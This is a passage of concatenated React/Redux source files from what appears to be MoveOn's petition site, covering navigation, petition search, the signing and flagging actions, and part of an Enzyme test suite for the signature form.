<NavLink to='/about.html'>About</NavLink>
<NavLink to='https://civic.moveon.org/donatec4/creditcard.html?cpn_id=511'>Donate</NavLink>
</ul>
</div>
)
const userDashboardLink = (
<Link className='icon-link-narrow icon-managepetitions' to='/dashboard.html?source=topnav'> {`${user.given_name}’s`} Dashboard</Link>
)
const guestDashboardLink = (
<Link className='icon-link-narrow icon-managepetitions' to='/dashboard.html?source=topnav'>Manage Petitions</Link>
)
const partnerLogoLinks = (
(cobrand)
? (<Link to={cobrand.browser_url}><img className='org_logo' src={cobrand.logo_image_url} alt={`${cobrand.organization} logo`} /></Link>
) : null)
return (
<div>
<div className='container' id='header'>
<div className='row'>
<div className='moveon-masthead pull-left hidden-phone'>
<Link to='/'>MoveOn.org</Link>
</div>
<div className='mobile visible-phone'>
<div className='moveon-masthead pull-left'>
<Link to='/'>MoveOn.org</Link>
</div>
</div>
{!minimal
? ( // when not minimal, we have a bunch of links for you!
<div>
<div className='pull-left top-icons hidden-phone'>
<div className='pull-left span2 petitions-partner-logo bump-top-1 margin-right-2 hidden-phone'>
{partnerLogoLinks}
</div>
<Link className='icon-link-narrow icon-start' to='/create_start.html?source=topnav'>Start a petition</Link>
{user.given_name ? userDashboardLink : guestDashboardLink}
</div>
<div className='pull-left top-icons visible-phone'>
<Link className='icon-link-narrow icon-start' to='/create_start.html?source=topnav-mobile' />
<Link className='icon-link-narrow icon-managepetitions' to='/dashboard.html' />
</div>
<a className='btn visible-phone pull-right bump-top-2' data-toggle='collapse' data-target='.nav-collapse'>
<span className='icon-th-list'></span>
</a>
{user.signonId ? userLinks : guestLinks}
</div>
) : null}
</div>
</div>
<div className='container visible-phone'>
<div className='row pull-left'>
<div className='pull-left span2 petitions-partner-logo bump-top-1 margin-right-2'>
{partnerLogoLinks}
</div>
</div>
</div>
</div>
)
}
Nav.propTypes = {
user: PropTypes.object,
nav: PropTypes.object,
organization: PropTypes.string,
minimal: PropTypes.bool
}
function mapStateToProps(store) {
return {
user: store.userStore,
nav: store.navStore
}
}
export default connect(mapStateToProps)(Nav)
<file_sep>/src/components/form/instructions/target-national.js
import React from 'react'
const TargetNational = () => (
<div>
<h4>Targeting the White House or Congress</h4>
<p>If you choose <strong>The entire U.S. House</strong>, then your petition signers will be asked to sign a petition addressed to their individual representative in the U.S. House of Representatives.</p>
<p>If you choose <strong>The entire U.S. Senate</strong>, then your petition signers will be asked to sign a petition addressed to their state's U.S. Senators.</p><p>If you choose <strong>President <NAME></strong>, your petition signatures will be addressed to President Donald Trump.</p>
<p>If your petition should be addressed to <strong>a specific legislator</strong>, type his or her name in the text area. Be sure to check the spelling and use the individual’s proper title.</p>
</div>
)
export default TargetNational
<file_sep>/src/components/search-results.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { searchPetitions } from '../actions/petitionActions.js'
import SearchResultPagination from '../components/search-result-pagination'
class SearchResults extends React.Component {
componentDidMount() {
// guarding for a cold page reload: check to see if we have search results, and if not load them
if (this.props.searchResults !== undefined) {
this.props.searchPetitions(this.props.query, this.props.pageNumber, this.props.selectState)
}
}
componentDidUpdate() {
const bodyTop = document.body.getBoundingClientRect().top
let resultsTop = 0
if (this.resultsDiv) {
resultsTop = this.resultsDiv.getBoundingClientRect().top
}
window.scrollTo(0, resultsTop - bodyTop)
}
render() {
const { searchResults, currentPage, query } = this.props
const resultCount = Number(searchResults.count || 0)
const pageSize = searchResults.page_size
const resultsEmbed = searchResults._embed
const searchNavLinks = searchResults._links
const resultsList = resultsEmbed.map((result, index) => (
<div className='result search-page' key={index}>
<div className='result-text'>
<p className='result-name'>
<a className='size-medium-large font-heavy' href={`https://pac.petitions.moveon.org/sign/${result.short_name}/?source=search`}>
{result.name}
</a>
</p>
<p className='size-small'>https://pac.petitions.moveon.org/sign/{result.short_name}/</p>
<p className='size-medium'>{result.blurb}...</p>
</div>
</div>
)
)
return (
<div id='search-results' ref={(div) => { this.resultsDiv = div }}>
{resultsList}
<SearchResultPagination resultCount={resultCount} pageSize={pageSize} currentPage={currentPage} searchNavLinks={searchNavLinks} query={query} />
</div>
)
}
}
SearchResults.propTypes = {
searchResults: PropTypes.object,
currentPage: PropTypes.number,
query: PropTypes.string,
searchPetitions: PropTypes.func,
pageNumber: PropTypes.string,
selectState: PropTypes.string
}
const mapStateToProps = (store, ownProps) => {
const searchResults = store.petitionSearchStore.searchResults
return {
searchResults,
currentPage: parseInt(ownProps.pageNumber, 10)
}
}
const mapDispatchToProps = (dispatch) => ({
searchPetitions: (query, pageNumber, selectState) =>
dispatch(searchPetitions(query, pageNumber, selectState))
})
export default connect(mapStateToProps, mapDispatchToProps)(SearchResults)
<file_sep>/src/containers/top-petitions.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import HotPetitons from '../components/legacy/hot-petitions'
import { loadTopPetitions } from '../actions/petitionActions.js'
class TopPetitions extends React.Component {
componentDidMount() {
const { pac, megapartner, topPetitions, loadPetitions } = this.props
if (!topPetitions) {
loadPetitions(pac, megapartner)
}
}
render() {
const { topPetitions, source, fullWidth } = this.props
return (
<HotPetitons
fullWidth={fullWidth}
topPetitions={topPetitions}
source={source}
/>
)
}
}
TopPetitions.propTypes = {
pac: PropTypes.number,
megapartner: PropTypes.string,
source: PropTypes.string,
topPetitions: PropTypes.oneOfType([PropTypes.array, PropTypes.bool]),
loadPetitions: PropTypes.func,
fullWidth: PropTypes.bool
}
const mapStateToProps = (store, ownProps) => {
const { pac, megapartner } = ownProps
const topPetitionsState = (store.petitionStore.topPetitions || {})
// TopPetitionsKey must not just be truthily equal but exact
// eslint-disable-next-line no-unneeded-ternary
const topPetitionsKey = `${pac ? 1 : 0}--${megapartner ? megapartner : ''}`
const topPetitionsProp = (
typeof topPetitionsState[topPetitionsKey] === 'undefined'
) ? false : topPetitionsState[topPetitionsKey].map(petitionId => store.petitionStore.petitions[petitionId])
return {
topPetitions: topPetitionsProp
}
}
const mapDispatchToProps = (dispatch) => ({
loadPetitions: (pac, megapartner) =>
dispatch(loadTopPetitions(pac, megapartner))
})
export default connect(mapStateToProps, mapDispatchToProps)(TopPetitions)
<file_sep>/src/pages/search.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import SearchBar from '../containers/searchbar'
import SearchResults from '../components/search-results'
import StateCheckBox from '../components/state-check-box'
import { getStateFullName } from '../components/state-abbrev.js'
const SearchPage = ({ query, selectState, pageNumber }) => {
const updatedHeader = (q, s) => {
const stateFullName = getStateFullName(s)
if (q && !s) {
return (<h2 id='title' className='light'> TOP PETITIONS MATCHING '{q}' </h2>)
} else if (q && s) {
return (<h2 id='title' className='light'> TOP PETITIONS MATCHING '{q}' FROM {stateFullName} </h2>)
} else if (s) {
return (<h2 id='title' className='light'> TOP PETITIONS FROM {stateFullName} </h2>)
}
return (<h2 id='title' className='light'>Top petitions</h2>)
}
return (
<div className='moveon-petitions container background-moveon-white bump-top-1'>
{<div className='row'>
<div className='span12'>
{updatedHeader(query, selectState)}
<p>You can search for petitions by issue, title, author, target, city, state, or keyword — or check out <a href='/victories.html'>recent victories</a>.</p>
<div id='search-form-div' className='search-page'>
<SearchBar query={query} currentPage={pageNumber} isLong={false} />
{selectState ? <StateCheckBox selectState={selectState} query={query} /> : ''}
</div>
<SearchResults query={query || ''} pageNumber={pageNumber || '1'} selectState={selectState || ''} />
</div>
</div>}
</div>
)
}
SearchPage.propTypes = {
dispatch: PropTypes.func,
params: PropTypes.object,
query: PropTypes.string,
pageNumber: PropTypes.string,
selectState: PropTypes.string
}
function getParams(ownProps) {
return {
query: ownProps.location.query.q || '',
page: ownProps.location.query.page || '1',
state: ownProps.location.query.state || ''
}
}
function mapStateToProps(store, ownProps) {
const params = getParams(ownProps)
return {
query: params.query,
pageNumber: params.page,
selectState: params.state
}
}
export default connect(mapStateToProps)(SearchPage)
<file_sep>/src/components/petition-report.js
import React from 'react'
import { Link } from 'react-router'
import PropTypes from 'prop-types'
import Sparkline from './sparkline'
const PetitionReport = ({ petition, signatureStats }) => (
<div className='container background-moveon-white bump-top-1'>
<div className='row'>
<div className='span8 offset2'>
<div className='well'>
<h1>Detailed Report</h1>
<table className='table'>
<tr>
<td className='name'>Petition ID</td>
<td>{petition.petition_id}</td>
</tr>
<tr>
<td className='name'>Name</td>
<td>{petition.title}</td>
</tr>
<tr>
<td className='name'>URL</td>
<td><Link to={`/sign/${petition.name}`} target='_blank'>https://petitions.moveon.org/sign/{petition.name}</Link></td>
</tr>
</table>
<h2>Signers by Source</h2>
<table className='table'>
<tr>
<th></th>
<th>Signers...</th>
<th>/Hour</th>
<th>/Day</th>
<th>Growth</th>
</tr>
<tr>
<td className='name'>All Sources</td>
<td><Sparkline data={signatureStats.ever.all} /></td>
<td><Sparkline data={signatureStats.hourly.all} /></td>
<td><Sparkline data={signatureStats.daily.all} /></td>
<td><Sparkline data={signatureStats.growth.all} /></td>
</tr>
<tr>
<td className='name'>Facebook</td>
<td><Sparkline data={signatureStats.ever.facebook} /></td>
<td><Sparkline data={signatureStats.hourly.facebook} /></td>
<td><Sparkline data={signatureStats.daily.facebook} /></td>
<td><Sparkline data={signatureStats.growth.facebook} /></td>
</tr>
<tr>
<td className='name'>Twitter</td>
<td><Sparkline data={signatureStats.ever.twitter} /></td>
<td><Sparkline data={signatureStats.hourly.twitter} /></td>
<td><Sparkline data={signatureStats.daily.twitter} /></td>
<td><Sparkline data={signatureStats.growth.twitter} /></td>
</tr>
<tr>
<td className='name'>Email</td>
<td><Sparkline data={signatureStats.ever.email} /></td>
<td><Sparkline data={signatureStats.hourly.email} /></td>
<td><Sparkline data={signatureStats.daily.email} /></td>
<td><Sparkline data={signatureStats.growth.email} /></td>
</tr>
</table>
</div>
</div>
</div>
</div>
)
PetitionReport.propTypes = {
petition: PropTypes.object,
signatureStats: PropTypes.object
}
export default PetitionReport
<file_sep>/src/actions/petitionActions.js
import 'whatwg-fetch'
import Config from '../config.js'
import { appLocation } from '../routes.js'
export const actionTypes = {
FETCH_PETITION_REQUEST: 'FETCH_PETITION_REQUEST',
FETCH_PETITION_SUCCESS: 'FETCH_PETITION_SUCCESS',
FETCH_PETITION_FAILURE: 'FETCH_PETITION_FAILURE',
FETCH_PETITION_SIGNATURES_REQUEST: 'FETCH_PETITION_SIGNATURES_REQUEST',
FETCH_PETITION_SIGNATURES_SUCCESS: 'FETCH_PETITION_SIGNATURES_SUCCESS',
FETCH_PETITION_SIGNATURES_FAILURE: 'FETCH_PETITION_SIGNATURES_FAILURE',
FETCH_TOP_PETITIONS_REQUEST: 'FETCH_TOP_PETITIONS_REQUEST',
FETCH_TOP_PETITIONS_SUCCESS: 'FETCH_TOP_PETITIONS_SUCCESS',
FETCH_TOP_PETITIONS_FAILURE: 'FETCH_TOP_PETITIONS_FAILURE',
SEARCH_PETITIONS_REQUEST: 'SEARCH_PETITIONS_REQUEST',
SEARCH_PETITIONS_SUCCESS: 'SEARCH_PETITIONS_SUCCESS',
SEARCH_PETITIONS_FAILURE: 'SEARCH_PETITIONS_FAILURE',
PETITION_SIGNATURE_SUBMIT: 'PETITION_SIGNATURE_SUBMIT',
PETITION_SIGNATURE_SUCCESS: 'PETITION_SIGNATURE_SUCCESS',
PETITION_SIGNATURE_FAILURE: 'PETITION_SIGNATURE_FAILURE',
FEEDBACK_SUCCESS: 'FEEDBACK_SUCCESS',
FEEDBACK_FAILURE: 'FEEDBACK_FAILURE'
}
export function loadPetition(petitionSlug, forceReload) {
const urlKey = `petitions/${petitionSlug}`
if (global && global.preloadObjects && global.preloadObjects[urlKey]) {
return (dispatch) => {
dispatch({
type: actionTypes.FETCH_PETITION_SUCCESS,
petition: window.preloadObjects[urlKey],
slug: petitionSlug
})
}
}
return (dispatch, getState) => {
dispatch({
type: actionTypes.FETCH_PETITION_REQUEST,
slug: petitionSlug
})
const { petitionStore } = getState()
if (!forceReload
&& petitionStore
&& petitionStore.petitions
&& petitionStore.petitions[petitionSlug]) {
return dispatch({
type: actionTypes.FETCH_PETITION_SUCCESS,
petition: petitionStore.petitions[petitionSlug],
slug: petitionSlug
})
}
return fetch(`${Config.API_URI}/${urlKey}.json`)
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.FETCH_PETITION_SUCCESS,
petition: json,
slug: json.name || petitionSlug
})
}),
(err) => {
dispatch({
type: actionTypes.FETCH_PETITION_FAILURE,
error: err,
slug: petitionSlug
})
}
)
}
}
export function searchPetitions(query, pageNumber, selectState) {
return (dispatch) => {
dispatch({
type: actionTypes.SEARCH_PETITIONS_REQUEST,
query, pageNumber, selectState
})
const page = pageNumber ? `&page=${pageNumber}` : ''
const selState = selectState ? `&state=${selectState}` : ''
return fetch(`${Config.API_URI}/search/petitions.json?q=${query}${selState}${page}`)
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.SEARCH_PETITIONS_SUCCESS,
searchResults: json,
pageNumber: page,
query,
selectState: selState
})
}),
(err) => {
dispatch({
type: actionTypes.SEARCH_PETITIONS_FAILURE,
error: err
})
}
)
}
}
export function loadTopPetitions(pac, megapartner, forceReload) {
// topPetitionsKey must not just be truthily equal but exact
// eslint-disable-next-line no-unneeded-ternary
const topPetitionsKey = `${pac ? 1 : 0}--${megapartner ? megapartner : ''}`
return (dispatch, getState) => {
dispatch({
type: actionTypes.FETCH_TOP_PETITIONS_REQUEST,
topPetitionsKey
})
const { userStore, petitionStore } = getState()
if (!forceReload
&& petitionStore
&& petitionStore.topPetitions
&& petitionStore.topPetitions[topPetitionsKey]) {
return dispatch({
type: actionTypes.FETCH_TOP_PETITIONS_SUCCESS,
useCache: true,
topPetitionsKey
})
}
const query = []
if (pac !== null) {
query.push(`pac=${pac ? 1 : 0}`)
}
if (megapartner) {
query.push(`megapartner=${megapartner}`)
}
if (userStore && userStore.signonId) {
query.push(`user=${userStore.signonId}`)
}
const queryString = ((query.length) ? `?${query.join('&')}` : '')
return fetch(`${Config.API_URI}/top-petitions.json${queryString}`)
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.FETCH_TOP_PETITIONS_SUCCESS,
petitions: json._embedded,
topPetitionsKey
})
}),
(err) => {
dispatch({
type: actionTypes.FETCH_TOP_PETITIONS_FAILURE,
error: err,
topPetitionsKey
})
}
)
}
}
export const registerSignatureAndThanks = (petition, signature) => () => {
// 1. track petition success
if (window.fbq) {
window.fbq('track', 'Lead') // facebook lead
}
if (window.gtag && petition.gtag_keys) {
// https://developers.google.com/adwords-remarketing-tag/
window.gtag('event', 'conversion', { send_to: petition.gtag_keys })
}
// 2. show thanks page
let thanksUrl = '/thanks.html'
if (petition.thanks_url) {
if (/^https?:\/\//.test(petition.thanks_url)) {
document.location = petition.thanks_url // FUTURE: maybe add some query params
return
}
thanksUrl = petition.thanks_url
}
const { referrer_data: { source } = {} } = signature
const fromSource = (source ? `&from_source=${encodeURIComponent(source)}` : '')
appLocation.push(`${thanksUrl}?petition_id=${
petition.petition_id
}&name=${petition.name}${fromSource}`)
}
export function signPetition(petitionSignature, petition, options) {
return (dispatch) => {
dispatch({
type: actionTypes.PETITION_SIGNATURE_SUBMIT,
petition,
signature: petitionSignature
})
const completion = (data) => {
const finalDispatch = (json) => {
const dispatchData = {
type: actionTypes.PETITION_SIGNATURE_SUCCESS,
petition,
signature: petitionSignature
}
if (json && json.SendMessageResponse) {
const sqsResponse = json.SendMessageResponse.SendMessageResult
if (sqsResponse) {
dispatchData.messageId = sqsResponse.MessageId
dispatchData.messageMd5 = sqsResponse.MD5OfMessageBody
// If Error, should we return FAILURE instead?
dispatchData.messageError = (sqsResponse.Error
&& sqsResponse.Error.Message)
}
}
const dispatchResult = dispatch(dispatchData)
if (options && options.redirectOnSuccess) {
registerSignatureAndThanks(dispatchResult.petition, dispatchResult.signature)(dispatch)
}
}
if (data && typeof data.json === 'function') {
data.json().then(finalDispatch, finalDispatch)
} else {
finalDispatch()
}
}
if (Config.API_WRITABLE) {
const signingEndpoint = ((Config.API_SIGN_PETITION)
? Config.API_SIGN_PETITION
: `${Config.API_URI}/signatures.json`)
const fetchArgs = {
method: 'POST',
body: JSON.stringify(petitionSignature),
headers: {
'Content-Type': 'application/json',
Accept: 'application/json'
}
}
if (Config.API_WRITABLE === 'fake') {
fetchArgs.method = 'GET'
delete fetchArgs.body
}
fetch(signingEndpoint, fetchArgs)
.then(completion, (err) => {
dispatch({
type: actionTypes.PETITION_SIGNATURE_FAILURE,
petition,
signature: petitionSignature,
error: err
})
})
} else {
completion()
}
}
}
export const recordShareClick = (petition, medium, source, user) => {
if (window._gaq) {
window._gaq.push(['_trackEvent', 'share', medium, petition.petition_id, 1])
}
if (Config.TRACK_SHARE_URL) {
const params = {
page: window.location.pathname,
petition_id: petition.petition_id,
user_id: user && user.signonId,
medium,
source
}
const form = new FormData()
Object.keys(params).forEach(p => {
form.append(p, params[p])
})
fetch(Config.TRACK_SHARE_URL, { // "/record_share_click.html"
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
},
body: form
})
}
}
export const loadPetitionSignatures = (petitionSlug, page = 1) => {
const urlKey = `petitions/${petitionSlug}/signatures`
return (dispatch) => {
dispatch({
type: actionTypes.FETCH_PETITION_SIGNATURES_REQUEST,
slug: petitionSlug,
page
})
const dispatchError = (err) => {
dispatch({
type: actionTypes.FETCH_PETITION_SIGNATURES_FAILURE,
error: err,
slug: petitionSlug,
page
})
}
return fetch(`${Config.API_URI}/${urlKey}.json?per_page=10&page=${page}`)
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.FETCH_PETITION_SIGNATURES_SUCCESS,
signatures: json,
slug: petitionSlug,
page
})
}, dispatchError),
dispatchError
)
}
}
export const flagPetition = (petitionId, reason) => (dispatch) => {
const form = new FormData()
form.append('reason', reason)
return fetch(`${Config.API_URI}/petitions/${petitionId}/reviews`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',
Accept: 'application/json'
},
body: form
}).then(
(response) => {
dispatch({
type: actionTypes.FEEDBACK_SUCCESS,
petitionId,
reason,
response })
},
(error) => {
dispatch({
type: actionTypes.FEEDBACK_FAILURE,
petitionId,
reason,
error })
}
)
}
export const flagComment = (commentId) => (dispatch) => {
const form = new FormData()
form.append('comment_id', commentId)
return fetch(`${Config.API_URI}/petitions/reviews`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',
Accept: 'application/json'
},
body: form
}).then(
(response) => {
dispatch({
type: actionTypes.FEEDBACK_SUCCESS,
commentId,
response })
},
(error) => {
dispatch({
type: actionTypes.FEEDBACK_FAILURE,
commentId,
error })
}
)
}
export const getSharebanditShareLink = (petitionSharebanditUrl) => {
const jsonSampleUrl = petitionSharebanditUrl.replace('/r/0/', '/jsonaction/')
const fallbackResponse = () => petitionSharebanditUrl
return fetch(`${jsonSampleUrl}`).then(
(success) => success.json().then(
(jsonData) => jsonData.shareurl,
fallbackResponse
),
fallbackResponse)
}
export const actions = {
loadPetition,
signPetition,
searchPetitions,
registerSignatureAndThanks,
recordShareClick,
loadPetitionSignatures,
getSharebanditShareLink
}
<file_sep>/src/pages/create-petition-page.js
import React from 'react'
import CreatePetitionForm from '../components/create-petition-form.js'
const CreatePetitionPage = () => (
<div className='moveon-petitions'>
<CreatePetitionForm />
</div>
)
export default CreatePetitionPage
<file_sep>/src/components/nav-link.js
import React from 'react'
import { Link } from 'react-router'
import PropTypes from 'prop-types'
const NavLink = ({ to, children }) => (
<li><Link className='lh-14 navlink' to={to}>{children}</Link></li>
)
NavLink.propTypes = {
to: PropTypes.string,
children: PropTypes.oneOfType([PropTypes.string, PropTypes.element])
}
export default NavLink
<file_sep>/test/components/signature-add-form.js
import React from 'react'
import { expect } from 'chai'
import outkastPetition from '../../local/api/v1/petitions/outkast.json'
import outkastPetition2 from '../../local/api/v1/petitions/outkast-opposite.json'
import { createMockStore } from 'redux-test-utils'
import { mount } from 'enzyme'
import { unwrapReduxComponent } from '../lib'
import SignatureAddForm from '../../src/components/signature-add-form'
describe('<SignatureAddForm />', () => {
// This file is organized into two sub- describe() buckets.
// 1. for "static tests" which do not involve any state
// 2. for changing state (like filling in forms, etc)
// Please put new tests in the appropriate bucket with `it(...)`
// Below are a set of profiles and user store states that can be re-used
// for different test conditions
const propsProfileBase = { petition: outkastPetition, query: {} }
const propsProfileOpposite = { petition: outkastPetition2, query: {} }
const outkastPetition2AsMegapartner = JSON.parse(JSON.stringify(outkastPetition2)) // Deepcopy
outkastPetition2AsMegapartner._embedded.creator.source = 'M.O.P.' // Set as megapartner
const petitionProfiles = {
megapartner_mayoptin: outkastPetition2AsMegapartner,
mayoptin: outkastPetition2,
normal: outkastPetition
}
const storeAnonymous = { userStore: { anonymous: true } }
const storeAkid = { userStore: { signonId: 123456,
token: 'akid:fake.123456.bad123',
given_name: 'Three Stacks' } }
describe('<SignatureAddForm /> static tests', () => {
// THESE ARE TESTS WHERE NO STATE IS CHANGED -- we send in properties, and the rest should be static
it('basic loading', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(component.props.user.anonymous).to.be.equal(true)
expect(context.find('#sign-here').text().match(/Sign this petition/)[0]).to.equal('Sign this petition')
})
it('anonymous fields displaying', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(component.props.user.anonymous).to.be.equal(true)
expect(context.find('input[name="name"]').length).to.equal(1)
expect(context.find('input[name="email"]').length).to.equal(1)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
expect(context.find('input[name="zip"]').length).to.equal(1)
})
it('petition with user fields displaying', () => {
// Note: needs to test when it *appears* not when it's required
const store = createMockStore(storeAkid)
const context = mount(<SignatureAddForm {...propsProfileOpposite} store={store} />)
const component = unwrapReduxComponent(context)
expect(Boolean(component.props.user.anonymous)).to.be.equal(false)
expect(context.find('input[name="name"]').length).to.equal(0)
expect(context.find('input[name="email"]').length).to.equal(0)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
expect(context.find('input[name="zip"]').length).to.equal(1)
})
it('local petition with user fields displaying', () => {
const store = createMockStore(storeAkid)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(Boolean(component.props.user.anonymous)).to.be.equal(false)
expect(context.find('input[name="name"]').length).to.equal(0)
expect(context.find('input[name="email"]').length).to.equal(0)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
expect(context.find('input[name="zip"]').length).to.equal(1)
})
it('local petition without address when user has address', () => {
const store = createMockStore(storeAkid)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(Boolean(component.props.user.anonymous)).to.be.equal(false)
expect(context.find('input[name="name"]').length).to.equal(0)
expect(context.find('input[name="email"]').length).to.equal(0)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
// not testing state because state is a sub component
// expect(context.find('input[name="state"]').length).to.equal(1);
expect(context.find('input[name="zip"]').length).to.equal(1)
})
it('show optin warning', () => {
// Should be: megapartner + not recognized user
const showStore = createMockStore(storeAnonymous)
const showContext = mount(<SignatureAddForm {...propsProfileOpposite} store={showStore} />)
let wasShown = false
showContext.find('.disclaimer').forEach((node) => {
if (/project of M.O.P./.test(node.text())) {
wasShown = true
}
})
expect(wasShown).to.equal(true)
const nowarningStore = createMockStore(storeAkid)
const nowarningContext = mount(<SignatureAddForm {...propsProfileOpposite} store={nowarningStore} />)
wasShown = false
nowarningContext.find('.disclaimer').forEach((node) => {
if (/project of M.O.P./.test(node.text())) {
wasShown = true
}
})
expect(wasShown).to.equal(false)
})
it('optin checkbox or hidden optin: normal profiles', () => {
const normalProfiles = [
{ petition: 'normal', query: {} },
{ petition: 'normal', query: { source: 'c.123', mailing_id: '123' } }
]
const mockStoreAnon = createMockStore(storeAnonymous)
normalProfiles.forEach((profile) => {
const realProfile = { petition: petitionProfiles[profile.petition], query: profile.query }
const context = mount(<SignatureAddForm {...realProfile} store={mockStoreAnon} />)
const component = unwrapReduxComponent(context)
// 1. make sure NOT shown
expect(context.find('input[name="thirdparty_optin"]').length,
`normal profile should not show optin checkbox: ${JSON.stringify(profile)}`
).to.equal(0)
// 2. make sure optin options are false
expect(component.state.hidden_optin,
`hidden_optin is false for normal profile: ${JSON.stringify(profile)}`
).to.equal(false)
expect(component.state.thirdparty_optin,
`thirdparty_optin is false for normal profile: ${JSON.stringify(profile)}`
).to.equal(false)
})
})
it('optin checkbox or hidden optin: hide profiles', () => {
const hideProfiles = [ // Should have hidden optin
{ petition: 'megapartner_mayoptin', query: { source: 'c.123' } },
{ petition: 'megapartner_mayoptin', query: { source: 'c.imn.123' } },
{ petition: 'megapartner_mayoptin', query: {} },
{ petition: 'mayoptin', query: { source: 'c.123' } } // No mailing_id
]
const mockStoreAnon = createMockStore(storeAnonymous)
hideProfiles.forEach((profile) => {
const realProfile = { petition: petitionProfiles[profile.petition], query: profile.query }
const context = mount(<SignatureAddForm {...realProfile} store={mockStoreAnon} />)
const component = unwrapReduxComponent(context)
// 1. make sure NOT shown
expect(context.find('input[name="thirdparty_optin"][type="checkbox"]').length,
`hidden optin profile should not have optin checkbox: ${JSON.stringify(profile)}`
).to.equal(0)
// 2. make sure hidden is true
expect(component.state.hidden_optin,
`hidden optin profile have hidden_optin=true: ${JSON.stringify(profile)}`
).to.equal(true)
})
})
it('optin checkbox or hidden optin: show profiles', () => {
const showProfiles = [
{ petition: 'megapartner_mayoptin', query: { source: 'c.imn.123', mailing_id: '123' } },
{ petition: 'megapartner_mayoptin', query: { source: 's.imn' } },
// Non-megapartner, but still may_optin: true
{ petition: 'mayoptin', query: { source: 'c.123', mailing_id: '123' } },
{ petition: 'mayoptin', query: { source: 's.abc' } }
]
const mockStoreAnon = createMockStore(storeAnonymous)
const mockStoreAkid = createMockStore(storeAkid)
showProfiles.forEach((profile) => {
const realProfile = { petition: petitionProfiles[profile.petition], query: profile.query }
const context = mount(<SignatureAddForm {...realProfile} store={mockStoreAnon} />)
const component = unwrapReduxComponent(context)
// 1. make sure shown
expect(context.find('input[name="thirdparty_optin"][type="checkbox"]').length,
`Show optin checkbox for ${JSON.stringify(profile)}`
).to.equal(1)
// 2. make sure hidden is false
expect(component.state.hidden_optin,
`hidden_optin is false for ${JSON.stringify(profile)}`
).to.equal(false)
// 3. make sure with user it's not shown
const userContext = mount(<SignatureAddForm {...realProfile} store={mockStoreAkid} />)
expect(userContext.find('input[name="thirdparty_optin"]').length,
`optin checkbox with user should NOT show for ${JSON.stringify(profile)}`
).to.equal(0)
})
})
it('logged in shows unrecognize link', () => {
const store = createMockStore(storeAkid)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(Boolean(component.props.user.anonymous)).to.be.equal(false)
expect(Boolean(component.props.showAddressFields)).to.be.equal(true)
expect(context.find('#recognized').length).to.equal(1)
expect(context.find('.unrecognized').length).to.equal(0)
expect(context.find('input[name="name"]').length).to.equal(0)
expect(context.find('input[name="email"]').length).to.equal(0)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
})
it('logout/unrecognize shows anonymous field list', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(Boolean(component.props.user.anonymous)).to.be.equal(true)
expect(context.find('#recognized').length).to.equal(0)
expect(context.find('.unrecognized').length).to.equal(1)
expect(context.find('input[name="name"]').length).to.equal(1)
expect(context.find('input[name="email"]').length).to.equal(1)
expect(context.find('input[name="address1"]').length).to.equal(1)
expect(context.find('input[name="address2"]').length).to.equal(1)
expect(context.find('input[name="city"]').length).to.equal(1)
})
})
describe('<SignatureAddForm /> stateful tests', () => {
// THESE ARE TESTS WHERE WE CHANGE THE STATE (FILL IN FORM, ETC)
it('typing incomplete fields submit fails and displays validation error messages', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
expect(component.state.validationTried).to.be.equal(false)
context.find('#sign').simulate('click')
expect(component.formIsValid()).to.be.equal(false)
expect(component.state.validationTried).to.be.equal(true)
expect(context.find('.alert').length).to.equal(6)
})
it('adding a non-US address updates requirements to not require state or zip', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
const reqFieldsBefore = component.updateRequiredFields(true)
expect(typeof reqFieldsBefore.state).to.be.equal('string')
expect(typeof reqFieldsBefore.zip).to.be.equal('string')
component.setState({ address1: '123 main', city: 'Sydney', country: 'Australia', region: 'Sydney Region', name: '<NAME>', email: '<EMAIL>', postal: '6024' })
const reqFieldsAfter = component.updateRequiredFields(true)
expect(typeof reqFieldsAfter.state).to.be.equal('undefined')
expect(typeof reqFieldsAfter.zip).to.be.equal('undefined')
const osdiSignature = component.getOsdiSignature()
expect(osdiSignature.person.postal_addresses[0].country_name).to.be.equal('Australia')
expect(osdiSignature.person.postal_addresses[0].locality).to.be.equal('Sydney')
